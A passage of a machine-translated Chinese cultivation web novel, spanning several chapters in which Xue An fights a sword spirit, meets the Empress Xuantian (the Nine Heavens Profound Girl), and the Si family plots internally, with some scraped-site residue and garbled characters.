    But in the next instant, the guardian sword spirit circulated abruptly, appeared directly behind Xue An, and stabled viciously towards the back of his head.


    But the situation was similar to this arm. Before it got close, the helmet on the back of the head also changed shape, turning into a shield, blocking its attack.


    "I don''t believe you can change your shield all over!"


    The sword spirit roared, and then the giant sword trembling lightly, instantly incarnate countless, and rushed towards Xue An like a torrent.


    Ding Ding Ding!


    Accompanied by the dense impact of raindrops, no matter how many swords there are, they are blocked by this armor.


    Some people on the ground who love alchemy watched this scene, and their eyes were so colorful that they almost drooled.


    There are many alchemy armors in the world, but there are very few complete sets, such as Xue An''s set that can automatically transform and protect the Lord is unheard of.


    This shows that this armor is absolutely extraordinary.


    But at this moment, the guardian sword spirit yelled out of anger when he saw that he couldn''t attack for a long time.


    "Asshole, since you hide in the tortoise shell and refuse to come out, then I will kill all the people in this city today!"


    Following the roar, the sword spirit also ignited evil fire, and immediately separated half of the sword weapon clones, turned the direction of the sword tip, and pointed directly at the crowd below.


    At this time, the crowd of onlookers broke apart and began to flee desperately.


    After all, even a fool can see that this sword spirit is obviously really killing him.


    Wouldn''t it be wronged if he died under its sword?


    But how could a person''s legs run past a sword weapon?


    Just when this sword spirit was about to be fierce, he heard a cold voice coming from his side.


    "This is the territory of the Alliance of Pharmacists, and it is not yet your turn for the sword spirits of the Shen family to come here to act wantonly!"


    Following the voice, I saw a woman wearing a veil appeared before these sword weapon clones, blocking their path.


    Seeing this woman, Xue An, who was about to start to stop him, was taken aback for a moment, and a deep horror appeared in his eyes, even the sword spirit next to him couldn''t care about it.


    She seemed to feel the astonishment in Xue An''s heart. The empress glanced at him. Although there was a veil blocking her face, she could not see her face clearly, but she seemed to be smiling at herself.


    Xue An''s heart was shocked.


    At the same time, the empress turned her head again and stared at the boundless sword spirit clone, her eyes regained coldness.


    "Now, get me back, or don''t blame me for being rude!"


    "Who are you? You dare to talk to me like this?" the sword spirit roared.


    "Me?" The empress sneered coldly. UU reading www.uukanshu.cOM


    "I am the pioneer of this land. If you are acquainted, then you will obediently get out of it now, otherwise I will make you unable to eat!"


    This time the sword spirit did not speak, but only responded to the empress''s words with actions.


    But saw countless sword weapon clones attacking the female emperor overwhelmingly.


    Wherever he went, there were countless tiny cracks in even the space.


    But the empress just sneered coldly, then stomped her foot suddenly and gave a soft drink in her mouth.


    "roll!"


    With an order, a virtual image of a woman with a veil on her head and a very tall, profound and cold aura appeared on the top of the empress��s head.


    As soon as the woman''s virtual image appeared, she just raised her hand and pointed, and all the sword weapon clones that were attacked were easily broken into powder in an instant.


    "Ahhhhhh my clone!" The sword spirit howled in pain, and there was infinite awe and fear in his voice.


    (End of this chapter)

 Chapter 2406： Empress Xuantian

    Chapter 2406 Empress Xuantian


    "God... God, it''s the Empress Xuantian!" Someone murmured almost moaning, their voices trembling from excessive excitement.


    As for the audience, there was a violent commotion.


    There is no other reason.


    It is true that the four words Empress Xuantian represent too many things.


    That''s the real boss behind the entire Pharmacist Alliance!


    Even Cha Wenliang in the inn couldn''t help taking a breath after seeing this scene, and then said in awe.


    "It was her! But didn''t she have retired? How could she suddenly appear here?"


    "Master, who is this woman?" Ao Shu asked curiously.


    Cha Wenliang smiled bitterly, "You can understand her as the existence that created the Pharmacist Alliance!"


    "Wow, isn''t that better than you, Master?"


    Cha Wenliang was silent for a moment, and then nodded, "To be precise, I and her are not on the same level. Whether it is for the contribution to the Pharmacist Alliance or the medical attainments, I can only look up to her!"


    It is possible for the extremely proud Cha Wenliang to say such words, which shows the position of the Empress Xuantian in people''s minds.


    At least, Lian Yu Ting, who had already stood far away, couldn''t help but move a few steps back after seeing this scene, and was farther away from Su Fei, who had been completely silly.


    Although the Su family is very powerful, and the Shen family is a wealthy family, but the distant water can not quench the thirst of the near.


    Now the Empress Xuantian was standing in the field. If she wanted to do something, she probably wouldn''t be able to run away.


    To be on the safe side, he naturally had to choose a more stable posture.


    At the same time, the remaining sword spirit clones in the sky suddenly circled, and then went straight to Xue An''s Shen Gaoge.


    Xue An snorted coldly, "What? Do you think I am a soft persimmon?"


    As he said, the sword in Xue An''s hand fell down without hesitation.


    With a pop, Shen Gaoge''s head flew high.


    "No!" Jian Ling screamed.


    Because as the guardian sword spirit of Shen Gaoge, he will be severely injured when his body is killed.


    really.


    When Shen Gaoge''s head flew up, the remaining sword spirit clones instantly turned into powder, with only one remaining sword barely remaining, and then fled to the distant sky within a short period of time.


    Xue An did not chase, although he knew that this surviving sword spirit was very likely to carry Shen Gaoge''s spirit, but he was not prepared to rush to kill.


    On the contrary, let them go back to report the letter in order to maximize their value.


    Because Xue An wanted to express his attitude to the Shen family through this incident.


    It''s okay to talk, but if you want to be hard, I''m sorry, Xue An won''t take this set.


    I believe the Shen family will be very "surprised" after receiving this news.


    When Shen Gaoge left, Su Fei was shocked.


    Only then did he wake up from the shock just now, followed by infinite panic.


    Because only then did he realize that there was no one around him.


    Lian Yu Ting, who was still following behind him before, didn''t know where he was going.


    As for the others, they looked at themselves with a very strange look from a distance.


    After all, Su Fei was shocked to follow Shen Gaoge''s stinky feet just now, and many people have seen it with their own eyes.


    Now the master is dead, and only his attendant is left.


    Now, his situation has become extremely embarrassing.


    Su Fei was surprised and naturally understood this.


    At this moment, his heart was already occupied by panic, and the only hope was that Xue An did not notice his existence.


    Unfortunately, his hope was quickly shattered.


    Xue An in the sky came to him in a flash, then lowered his head and smiled at him.


    "Master Su, long time no see!"


    boom!


    Su Fei was shocked and felt his head exploded with a bang.


    But that''s the end of the matter, and his stiff face can only barely squeeze a smile that is even more ugly than crying.


    "long time no see!"


    Xue An raised his eyebrows slightly, "Is there anything else I want to say?"


    Su Fei trembled in shock, naturally understood what Xue An meant, and couldn''t help showing infinite prayers in his eyes.


    "This matter didn''t start from me, so is it okay to spare my life?"


    Xue An smiled, "Are you finished?"


    In fact, when a smile appeared on Xue An''s face, Su Fei was surprised that something was going wrong.


    His response was not unpleasant either.


    He didn''t hesitate to turn around and fled to a crowded place.


    His idea is very simple.


    No matter how much this Xue An wants to kill himself, it is impossible to take the lives of others!


    As long as he can blend in with the crowd, he will definitely throw a rat avoidance device, and then he will have a silver lining.


    It is a pity that the idea is beautiful, but the reality is cruel after all.


    After only three steps, an imperceptible sword light directly penetrated his throat, bringing out a bloodline from the front.


    Compared with Shen Gaoge, his death can be described as simple and neat, without any muddle.


    In fact, until Su Fei''s body was shocked, many people still looked shocked.


    Is the dead one really from the dignified Su family?


    How could it be as vulnerable as a chicken dog in front of this white-clothed boy?


    And this scene made Lian Yuting''s eyelids jump wildly while hiding in the crowd, even if he lowered his head deeply.


    It''s ridiculous that I thought about competing with this young man before, so I didn''t know how to live or die.


    Fortunately, I saw the opportunity quickly! Lian Yuting''s heart secretly rejoiced.


    Not to mention everyone''s thoughts, after Xue An killed Su Fei Jing with a sword, he turned and returned to the sky.


    Standing not far in front of him was the Empress Xuantian who had just helped out.


    "Is it done?" It was the Emperor Xuantian who spoke first.


    Xue An nodded.


    "Well, come with me, I have something to ask you!"


    After that, the Empress Xuantian turned and flew away.


    As Xue An was about to catch up, An Yan took a step forward with some worry.


    "Husband!"


    Xue An stopped, and UU reading turned around and smiled at her slightly, "Don''t worry, I will go back!"


    An Yan, who wanted to say something, couldn''t help taking a deep breath after seeing the calm expression on Xue An''s face, and then nodded.


    "Hmm! Then I''ll wait for you!"


    Xue An is gone.


    A large group of people stood there dumbfounded.


    "Is it over like this?" someone whispered in shock.


    "Yeah! That''s it!" Someone sighed.


    "Even the people of the Shen family are defeated. It seems that Tian Waitian will soon cause a big storm!" Someone asserted.


    Some people didn''t say anything, just looking at the direction of Xue An and Empress Xuantian''s departure, their eyes flickered, as if they were thinking about something.


    At the same moment, Xue Anye had already followed the Empress Xuantian to the medicated restaurant.


    (End of this chapter)

 Chapter 2407： 9 days goddess

    Chapter 2407 Nine Sky Profound Girl


    This is a room on the top floor of the Medicinal Food Workshop.


    Because the Medicinal Food Workshop is at the highest point of Yangcheng County, when you stand in front of the window of the room, you will find that the entire Yangcheng County has been stepped on by you.


    At least Xue An felt that way.


    "You...are Chinese!"


    A sudden question caused Xue An to take his gaze back from the window, and then nodded.


    "Yes!"


    Although he had seen Xue An''s origins a long time ago, after he confessed in person, the Empress Xuantian couldn''t help being shocked.


    "Sure enough... Is the earth okay now?"


    Xue looked at the woman quietly, and only after a long time did he slowly say: "The spiritual energy is exhausted!"


    The meaning behind these four simple words is so intriguing.


    "I didn''t expect that after leaving the earth for so long, I could still see the Chinese people!" The Emperor Xuantian sighed lightly, and then looked at Xue An.


    "Are you also curious about my identity?"


    Xue An smiled, then shook his head, "Not curious!"


    "Huh? Why do you say that?"


    "Because I know your origin!" Xue An said lightly.


    "How is it possible!" The Empress Xuantian couldn''t believe her ears.


    But what Xue An said in the next second blocked her back.


    "In fact, I also really want to know how you, a Chinese god, appeared here!"


    Hearing the words of the Chinese gods, Empress Xuantian was full of excitement and stared at Xue An.


    "How did you know?"


    Along with the questioning, the majestic coercion radiated from the woman''s body, and Xue An couldn''t help but step back a few steps.


    But even so, Xue An''s complexion remained as usual, just a faint smile.


    "Is it hard to guess?"


    The Empress Xuantian looked at Xue An with a calm face, the pressure on her body gradually subsided, and finally she lowered her eyes, "Yes, even the fire of Zhu Rong has already acquired you, it is naturally not difficult to see my identity!"


    With that said, Empress Xuantian raised her head again, and then slowly took off the veil on her face, revealing a beautiful cheek.


    "I am indeed a Chinese god, my previous name was the Nine Heavens Profound Girl!"


    Hearing this name, Xue An raised his eyebrows slightly, but Xuan even suppressed the thoughts in his heart.


    Because at this moment, the Emperor Xuantian or Nine Heavens Profound Girl continued to speak.


    "Since you can come to this place, presumably you should also know the catastrophe of the Chinese people back then!"


    Xue An nodded, "Actually, I came here just to investigate this matter!"


    The Jiutian Profound Girl''s expression suddenly became anxious, "Then can you find some eyebrows?"


    Xue An shook his head, "There are clues, but the specific culprit has not been found!"


    But the focus of the Jiutian Profound Girl''s attention was not on this, she saw her face full of eagerness and asked: "In addition to these, have you ever seen other Chinese gods in the earth or in the heavens? "


    Xue An looked at the Nine Heavens Profound Girl with a faint smile, "Why do you ask?"


    "It''s nothing, I just want to find an old friend! Forget it, I guess it''s useless to ask you, after all, at your age, you can''t meet them anyway!" The Nine Heavens Profound Girl''s face is full of deepness. Disappointed.


    A strange brilliance flashed in Xue An''s eyes, and then he said faintly: "You haven''t answered my question yet, as a Chinese god, how did you appear here?"


    Hearing Xue An��s question, Jiu Tian Xuan Nu sighed softly, "This matter is a long story. Back then..."


    The Nine Heavens Profound Girl paused, with a look of remembrance on her face.


    "Back then, I fought side by side with the immortals against the invading evil races. As a result, the enemy''s strength was too tyrannical. We were retreating steadily, and countless compatriots died in battle!"


    "Until later, the entire heavenly court and the tribe of gods, demons and demons have united and made the final resistance!"


    "In that battle, from day to night, from night to morning, countless gods died, and the blood stained the mountains red!"


    "But the enemy is still flowing like a tide, in this case, almost everyone is desperate!"


    "We have also given up all hope and are ready to fight to the death, but at this moment, an inexplicable light enveloped us gods!"


    Speaking of this, a look of horror appeared in the eyes of Profound Girl Nine Heavens.


    "I can''t describe the power of this light. I just know that when it covers us all, a flower is in front of my eyes. When I open my eyes again, I will appear alone in this outer sky! "


    "That''s it?" Xue An couldn''t help raising his eyebrows.


    "Yes, that''s it!"


    "What about the other gods that disappeared with you?"


    Nine Heavens Profound Girl smiled bitterly, "To be honest, I have been looking for them all these years, but I have found nothing!"


    Xue An was silent.


    Because he suddenly remembered what he had said to himself when he wiped out Lihentianjun in the heavens a long time ago.


    The scene he described is almost exactly the same as what the Nine Heavens Profound Girl said.


    In the last desperate situation, a brilliance from an unknown source engulfed the Chinese gods and disappeared.


    The only difference is that the Nine Heavens Profound Girl is one of them.


    As Xue An was thinking about it, Jiu Tian Xuannv continued: "Because I am good at medical practice, so I founded a physician alliance with several other medical experts here. At the same time, I also discovered that after passing through that glorious journey!"


    "My strength has grown by leaps and bounds, and I never grow old, so I have been waiting here, looking forward to meeting Chinese people one day!"


    After speaking, Jiutian Xuannv raised her head to look at Xue An.


    "That''s why I am here, now... it''s up to you!"


    Xue An smiled, "My origin is also very simple. I was originally an ordinary person on the earth. Later, by chance, I embarked on the road of cultivation, and then again..."


    Xue An briefly described how he practiced and how he knew the situation of the Chinese catastrophe.


    However, when he said that he had embarked on the path to find the real murderer and came here all the way, the Nine Heavens Profound Girl still couldn''t help being moved. UU reading


    "Do you come here step by step like this?"


    "Ok!"


    The Nine Heavens Profound Girl stopped talking, and only sighed after a long time.


    "It turns out that the warrior and genius who was in the craze before, is talking about you!"


    Xue An smiled, but did not speak.


    "Anyway, you are of the Chinese ethnicity, and as a Chinese god, I always have to take care of you. Come on, do you have any help?" Jiutian Profound Girl said very seriously.


    Xue An shook his head, "You don''t need help, but there is something I think you should know!"


    "What is it?" The Nine Heavens Profound Girl was taken aback.


    Xue An flipped his wrist, and then a jade decision appeared in his palm.


    After seeing this thing, Jiu Tian Xuan Nu was shocked.


    (End of this chapter)

 Chapter 2408： 2Langshens request

    Chapter 2408: Erlang God''s Entrustment


    "This...this..." The Nine Heavens Profound Girl couldn''t believe her eyes, but the familiar aura contained in the Jade Decision was telling her that all of this was true.


    "I think you should know who left this to you!" Xue An said lightly, and at the same time passed the Yujue in his hand.


    At the moment when she received it in her hand, tears came from the eyes of Jiutian Xuannv, her fingers trembling slightly and stroking the jade decision.


    "He... is he okay?"


    Xue An sighed, "He is dead!"


    Although I knew the result when I saw this jade decision, when Xue An said it personally, the Nine Heavens Profound Girl still couldn''t help groaning.


    "Jiro..."


    Then there was a whimper like weeping blood.


    Xue looked at him quietly, his eyes full of feelings and depression.


    This piece of jade was obtained from Erlang Shenyangjian who was trapped by Liheng Tianjun when he was exterminating Lihentian.


    At that time, Yang Jian would rather die in order to escape the shackles of Hate Tianjun, but before dying he entrusted Xue An to let him bring this piece of jade to someone.


    He didn''t say the name of this person clearly, but just told Xue An, as long as he saw this person, he would naturally know.


    After that, Xue An almost tossed through the entire heavens, and never met the person Yang Jian said.


    Waiting for the arrival to the outside world, Xue An did not forget Yang Jian''s dying entrustment.


    But Tianwaitian is more than ten times bigger than those heavens. If you keep looking for it like this, I really don''t know when it will be the head.


    But it never expected that Xue An would meet the Empress Xuantian just at the second stop of the Queen of Heaven.


    Although Xue An was still fighting Shen Gaoge at the time, when the Empress Xuantian revealed his aura, Xue An immediately concluded that this was the person Yang Jian entrusted him to find.


    Because above that jade decision, there was obviously a very weak aura.


    This is the reason why Xue Anhui did not hesitate to come to the medicated restaurant with her.


    After crying for a long time, Jiutian Profound Girl gradually stopped her grief, and then raised her head, looking at Xue An with red and swollen eyes.


    "He... didn''t he say anything?"


    Xue An quietly for a moment, and then whispered softly: "He asked me to tell you, he doesn''t regret it!"


    This sentence seemed like a heavy hammer, causing the Jiu Tian Xuan Girl who had just calmed down a little bit to shake her whole body.


    "No regrets...no regrets...but you don''t regret it, what about me? Why do you want to leave me alone in this world? Do you know how lonely I am?"


    The more she whispered, the more desperate the look on her face, and soon a strong will of death sprang up in her eyes.


    In fact, the reason why this Nine Heavens Profound Girl can live lonely in this outer sky for thousands of years is because the faint hope in her heart supports her.


    But now, after hearing the news of Yang Jian''s death, even this last glimmer of hope was shattered.


    So she also sprouted a will to die.


    At this moment, Xue An sighed quietly.


    "Why? Just like this, are you ready to give up the godhead and everything that you have so hard to keep?"


    "Do you know what Yang Jian did for your survival, and what did everyone give?"


    The Nine Heavens Profound Girl Huo Ran raised her eyes and stared at Xue An.


    Xue An remained unmoved, and continued to say: "When I found him, he had been imprisoned in a lonely world for thousands of years, and he would suffer cruel punishments every once in a while, even if In this way, he still did not give up, but persevered stubbornly until my arrival!"


    "And you, and the missing gods also survived with the help of a miraculous light, so are you really ready to give up like this? If so, then you can die now, just.... "


    Xue An''s face showed a touch of sarcasm, "Just like you, what right do you have to call yourself a Chinese god?"


    These words really seemed like a bolt from a blue sky, pointing straight to the soul of Nine Heavens Profound Girl.


    She lowered her head and remained silent for a long time, and when she raised her head again, her eyes had restored the former clarity and she had no desire to die.


    "Thank you!"


    "Don''t thank me, thank him if you want to! He is a true god!"


    "Yeah! He is a true god!" Jiu Tian Xuan Nu repeated it, suddenly remembering something, and raised her head and said to Xue An.


    "Go to a place with me, I have something for you!"


    Mo Changhong stood in the corridor, looking at the closed door, his head was still full of question marks.


    It''s been a while since the female emperor brought Xue An in, what are they talking about?


    Also, why does it seem that the female emperor seems to value this Xue An very much.


    Could it be...


    Mo Changhong suddenly thought of a possibility, which couldn''t help making her tremble all over, even if she looked at the door almost inconceivably.


    Is it really possible?


    But the age gap between them is so great, and Xue An already has a family...


    Just as she was thinking about it, the door of the room suddenly opened.


    Then the Nine Heavens Profound Girl stepped out of it, followed by Xue An.


    The Empress''s eyes were red, as if she had just cried.


    At the sight of this scene, Mo Changhong''s heart was shocked again, even if Xuan bowed her head deeply, she did not dare to look again.


    "You stay here at the medicinal restaurant, and remember to take care of the people in the inn. He and I will leave for a while and will be back in a few days!" Jiu Tian Xuan Nu ordered.


    "Yes!" Mo Changhong responded quickly.


    "Let''s go!" Nine Sky Profound Girl said to Xue An, and then flew to the sky one by one.


    Before leaving, Xue An said to Mo Changhong again, "Remember to tell my wife and let her not worry about me!"


    After speaking, he followed and left.


    Looking at the direction the two are going away, UU reading www. uukanshu.com The thoughts in Mo Changhong''s heart were tumbling.


    Just left?


    It seems...what I just thought may really be true!


    Leaving aside Mo Changhong, who was ignorant and suspicious, Xue An quickly left the planet with the Nine Heavens Profound Girl and flew into the void.


    Even at his speed, trying to keep up with this Nine Heavens Profound Girl is a little bit powerless.


    However, the Nine Heavens Profound Girl quickly noticed this, and then slowed down a bit.


    "It''s weird, your realm in kendo and divine mind is very high, but the actual cultivation base is very poor!"


    Xue An smiled, "No way, after all, I have only been here for more than a year in total, so I will come to this Pharmacist Alliance to find a way to improve my strength as soon as possible!"


    The Nine Heavens Profound Girl nodded, "Then you come with me, this thing should help you improve your strength!"


    (End of this chapter)

 Chapter 2409： 1 Silk of Hope and Dawn

    Chapter 2409 a glimmer of hope and dawn


    Although the speed was slower than when they came, the two of them still arrived in the palace where the Nine Heavens Profound Girl lived in only half a day.


    When he arrived before and after that shrine, Xue An''s eyes could not help but gradually widen, and a look of shock appeared on his face.


    There is no other reason.


    It is true that the positions of the gods on this shrine are too eye-catching.


    The **** of fire Zhu Rong, the **** of water work together, Xing Tian, ??the emperor of Donghua...


    The names engraved on the shrines are all Chinese gods that only existed in the legend before.


    But at this moment, I saw Jiutian Profound Girl walking to the shrine and personally writing a few large characters in a vacant position.


    Erlang Shenyang Jian''s position.


    After the engraving, before the name, a little candle light also burned.


    Xue An didn''t say anything, just watched the scene in silence.


    It wasn''t until everything was done that the Nine Heavens Profound Girl turned her head back to look at Xue An.


    "There are the gods of the Chinese who died in battle, and the gods who followed me and were engulfed by the light, and their whereabouts are unknown, but his name is not there!"


    "Because I have been looking forward to him not dead, but hiding in a place to recuperate, but today, this hope is dashed!"


    Speaking of this, tears loomed in the eyes of Jiutian Profound Girl.


    "This candle will continue to burn, it''s the only thing I can do for them!"


    Seeing this scene, Xue An suddenly remembered something, and then said in a hesitant tone.


    "Actually...you don''t have the slightest hope to see him!"


    "Don''t comfort me, since he has even handed this jade decision to you, it proves that he is indeed no longer in the world!" Jiutian Profound Girl said in a low tone.


    "Although this is the case, the Sky Dog who has been following Yang Jian is still alive, and he has been looking for Yang Jian''s reincarnation!"


    Upon hearing this, Jiu Tian Xuan Nu was shocked all over, and then raised her head to look towards Xue An.


    "Reincarnation?"


    "Yes!" Xue An nodded.


    "How is it possible that the gods will only dissipate completely after their fall, how can there be reincarnations?"


    "This is the normal situation, but he is an exception, because when he fell, I protected his last aura with my own spirit, so that he would have a chance to reincarnate!"


    "That''s why the Snarling Dog began to look for the reincarnation of Yang Jian. Before coming to the sky, I learned from the Shadow Turtle Clan that a dog clan had left the heavens and came here before, so he should now Just in this outer sky!" Xue An said lightly.


    "Then why didn''t you tell me this just now?" Jiutian Profound Girl asked in shock.


    "Because to be honest, even if he has this chance of reincarnation, the hope is very slim, so slim that I don''t want to tell you, but now it seems that you still can''t untie your heart knot, so I decided to tell you! after all����."


    Xue An took a deep look at her, "No matter how small the hope is, it is also hope, isn''t it?"


    A complicated expression flashed across the eyes of the Jiutian Profound Girl, but she quickly recovered her calm.


    "Thank you!"


    The thanks this time are very sincere.


    Xue An smiled swiftly, "You''re welcome, you are also a Chinese god, and I should help you!"


    Nine Sky Profound Girl did not continue to polite, but directly took out a simple white jade bottle from the storage ring she carried, and then handed it to Xue An.


    After starting, Xue An raised his eyebrows slightly, because this little white jade bottle was unexpectedly heavy.


    "what is this?"


    "A pill!" The Nine Heavens Profound Girl paused and added: "A pill that can help you improve your strength!"


    Xue An smiled and shook his head, "Thank you for your kindness, but I am still not used to using pills to enhance my cultivation..."


    Jiu Tian Xuannv interrupted him directly, "I know what you are worrying about. After all, everyone''s situation is different, and the biggest problem with the finished medicine is that it is easy to cause problems due to individual differences when raising the cultivation base. !Right?"


    Xue An nodded, "Yes!"


    Just as the Nine Heavens Profound Girl said, after Xue An''s cultivation level, the general pill is no longer effective, even if there are some magical pill that can work, Xue An will not use it.


    The reason is that as the Nine Heavens Profound Girl said, everyone''s situation is different, and the finished pill can not be fine-tuned for everyone''s situation, which will cause problems of one kind or another.


    Although this kind of problem is very subtle, it will become very terrifying after the strength of the Immortal Venerable Level is amplified.


    Although the average powerhouse may not care about these, Xue An cares very much.


    Because these problems accumulate over time, it is very likely that your subsequent cultivation will become very difficult.


    Therefore, even if Xue An wanted to use the pill to improve his cultivation, he would choose to refine it by himself.


    In fact, not only Xue An is like this, but all those who are a bit pursued will be like this.


    This also led to the strong players in the later stages, basically all alchemy masters.


    The Nine Heavens Profound Girl smiled slightly, "Don��t worry, I am also the person who founded this pharmacist alliance anyway. I naturally understand all of your concerns. The reason why I am giving you this pill is because it is very special. !"


    Speaking of this, Jiu Tian Xuan Nu asked: "Do you feel it is unexpectedly heavy?"


    Xue An nodded.


    According to the size of this bottle, it is indeed a bit too heavy.


    "That''s because the pill contained in it is specially made, and the existence of blindly raw materials makes the problem you are worried about not a problem at all!"


    "What ingredients?" Xue An finally asked, unable to restrain his inner curiosity.


    The Nine Heavens Profound Girl whispered: "The brilliance that brought me to this world hasn''t all been dissipated part of it has penetrated into my bloodline and godhead, and most of them have been taken by me. It was absorbed, and the remaining ones were extracted by me and refined into this pill!"


    Hearing this, even Xue An couldn''t help being shocked, and then he took a close look at the white jade bottle in his hand.


    To be honest, Xue An has always been curious about the light that has taken away countless Chinese gods.


    Thinking that there might be clues about this light, Xue An couldn''t help but open the white jade bottle.


    After taking out the cork, a strange fragrance came out, but Xue An''s attention was completely lost on this.


    Because at this moment, he felt that his whole blood seemed to be excited by the call of existence.


    This feeling was so mysterious that he couldn''t help being lost in confusion.


    At this moment, the voice of the Nine Heavens Profound Girl came from the side, "Does it feel strange? It''s like... some kind of call from the source of blood?"


    (End of this chapter)

 Chapter 2410： Infighting

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    Hearing Nine Heavens Profound Girl''s description, Xue An was startled slightly, and then nodded, "Yes, I do feel this way!"


    The Nine Heavens Profound Girl sighed softly, "Actually, I have been studying this light for these years, and want to know the secret hidden behind it!"


    "The results of it?"


    "The result?" The Nine Sky Profound Girl smiled bitterly, "As a result, the only thing I can be sure of right now is that this light is obviously inextricably linked with the Chinese. Besides, I don''t know much more than you know!"


    Xue An was silent for a moment, and said slowly: "Anyway, at least it is kind, isn''t it?"


    With that, Xue An gently re-capped the bottle cap, then flipped his wrist, and the white jade bottle disappeared.


    Seeing this scene, the Nine Heavens Profound Girl couldn''t help asking: "What? Are you not going to use it to improve your strength?"


    "Of course it needs to be used, but not now! Because there are still many things that need to be dealt with."


    "such as?"


    "For example, this grudge between Lou''s family and Si''s family!" Xue An said coldly.


    Hearing this, a cold look flashed in the eyes of the Nine Heavens Profound Girl.


    "If you don''t tell me, I have forgotten. The Si family did too much this time. Not only are you looking for them to settle the accounts, I also have to go and ask them what they want to do!"


    At the same time, in the Si family located at the other end of the Star Territory of the Pharmacist Alliance, the atmosphere was very solemn.


    Si Daoyuan''s angry roar came from the hall.


    "You say it again, what happened to Guangzhong?"


    Siming Qi knelt under the stage and touched the ground with his head.


    "Go home, at that time, Guangzhong and I were about to sneak into the inn and steal the little girl from the Lou''s family, but we never expected that someone from the Shen family suddenly came and had a fight with Xue An. In the war, everyone except me in the Si family was killed in the raging sword current, including the second young master Guangzhong..."


    Snapped!


    Si Daoyuan slapped the armrest of the seat suddenly, and the whole person suddenly stood up, his eyes flashed with the light of choosing people, and even his face was distorted.


    "Everyone is dead, but you are the only one who survived?"


    "Yes!"


    "Asshole, what are you doing back then? Why don''t you die there?" Si Daoyuan was furious, picked up the teapot beside him and threw it over.


    With a crisp sound, the teapot was hitting Simingqi''s forehead, and the hot tea poured down, making his head steam.


    But despite this, Siming Qi didn''t even move, still kneeling there.


    Si Daoyuan was still angry, and he rushed down the high platform to end Si Mingqi. Fortunately, someone stopped him at this moment.


    "Master Patriarch, please calm down. I don''t think Ming Qi wants to see this. Just let him go this time!"


    Hearing these words, Si Daoyuan stood still and snorted coldly: "Huh, you can succeed, if it wasn''t for your face, I would have to kill him today!"


    "Yes, yes!" The elder who was speaking nodded repeatedly, and then turned to Siming Qi and shouted: "Hurry up and thank the Patriarch for not killing?"


    Si Mingqi knelt on the ground and banged his head a few times, and said in a low tone, "Thank you Patriarch for not killing!"


    Si Daoyuan''s face was blue and did not say a word, but the elder named Si Yicheng sighed when he saw it.


    "Patriarch, I think for the present plan, we should first think clearly why the Shen family got involved in this matter!"


    Hearing this, Si Daoyuan shook his whole body, and the iron blue on his face quickly faded, turning pale.


    "What you mean is... there might be the Shen family''s involvement behind this incident?"


    "I just said it is possible, but no one knows what it is!"


    But just having this possibility made Si Daoyuan''s heart full of horror.


    Because compared to such peerless giants as the Shen family, the size of the Si family is really not enough.


    So at this moment, his expression became panicked wherever he was a little bit aggressive before.


    "Then what should I do? Since the Shen family got involved in this matter, it is estimated that it was for the little girl from the Lou family. Why don''t we take a stand to the Shen family now and say that we have given up fighting for this little girl?"


    Si Yicheng shook his head, "Patriarch, this is absolutely unacceptable. First of all, the Shen family will not believe it, and secondly, even if it believes it, isn''t it the same as not confessing it?"


    "Then what do you think should be done?"


    Si Dao is just as anxious as an ant on a hot pot.


    Seeing him who was completely devoid of the power of the Patriarch, Si Yicheng''s eyes flashed with contempt, but he said in a deep voice.


    "I think the first thing we should do now is not to express our stance, but to wait and see how the Shen family reacted. It is not too late to make a decision!"


    "Yes, yes, yes! It''s better to be mature, you''re old and serious, it won my heart, just do it!" Si Daoyuan nodded and said vigorously.


    This family gathering ended in a hasty way, and many elders got up and left.


    But almost everyone ignored Si Mingqi who was kneeling on the ground, including Si Daoyuan, who never looked at him with his straight eyes, as if he were a dead dog that was abandoned.


    It wasn''t until people were almost gone, that Si Mingqi wobbled up from the ground, raised the scalded face full of blood, glanced coldly at the throne on the high platform, and then turned and walked out. Up the hall.


    Outside the hall is a silent night.


    As soon as Si Mingqi walked down the steps, he heard Si Yicheng''s indifferent voice coming from the shadow of the corner.


    "The young master is going back now?"


    Siming Qi stopped, a sneer from the corner of his burnt mouth, "Master? Are you calling me by this name?"


    "Of course, anyway, you are the first son of the Patriarch, and I naturally want to call you the young master!" Si Yicheng walked out of the darkness and said with a smile.


    "So my eldest young master almost died in the hands of his own father just now?" Siming Qi said sarcastically.


    "Hehe, the eldest master seems to have a lot of opinions on the Patriarch!" Si Yicheng said softly with the brilliance in his eyes.


    Siming Qi suddenly turned around, his swollen eyes were full of cold brilliance.


    "Yes, UU reading , I really have a great opinion on him, because since I was young, I didn��t even have a little status in his eyes, and this time is no exception. He even gave me to Si Guangzhong. Kill, is this what a father should do?"


    "So you secretly designed to kill your brother Si Guangzhong, and disguised it as an illusion caused by the aftermath of the sword energy?" Si Yicheng smiled and said only after Si Mingqi had already vented.


    And this sentence really seemed like a bolt from the blue sky, making Siming Qi directly stunned.


    Si Yicheng looked at him coldly, "Are you curious how did I know?"


    Siming Qi took a deep breath, "Hehe, you are talking nonsense..."


    Before he finished speaking, Si Yicheng waved his hand, "You don''t need to hide it, there was my eyeliner on the scene, do I need to release the water curtain image at that time?"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2410 Infighting), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2411： Forbearance

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    Hearing this, Si Mingqi''s eyes were fierce, and his swollen cheeks quickly returned to their original appearance, and the cold murderous intent directly locked this Si Yicheng.


    But Si Yicheng was not moved at all. Instead, he smiled and said, "What? Seeing that I exposed your lie, I stopped pretending, and are you going to kill me directly?"


    "But you think, since I dared to talk about this to you, would I still be afraid that you would kill me?"


    Siming Qi trembled all over, Xuan even took a deep breath and closed his eyes.


    When he opened it again, there was no murder in his eyes, just a chill.


    "Go ahead, what do you want?"


    Si Yicheng applauded softly and smiled and said: "Very well, this is what I admire you most. I forbear and know how to advance and retreat. It is much better than Si Guangzhong, who only knew how to be arrogant and domineering!"


    Siming snorted coldly, unmoved at all.


    He knew that this Si Yicheng, who was hiding behind the shadow of the master of the house, and who had always shown a harmless image, was actually the core military division and staff officer of the entire Si family.


    Many decisions are actually made by him, not Si Daoyuan, the owner of the family.


    So you must not underestimate him.


    really.


    I saw Si Yicheng sighed with his arms in his arms, and then slowly said, "Master, what situation do you think the Si family is in now?"


    What''s the situation?


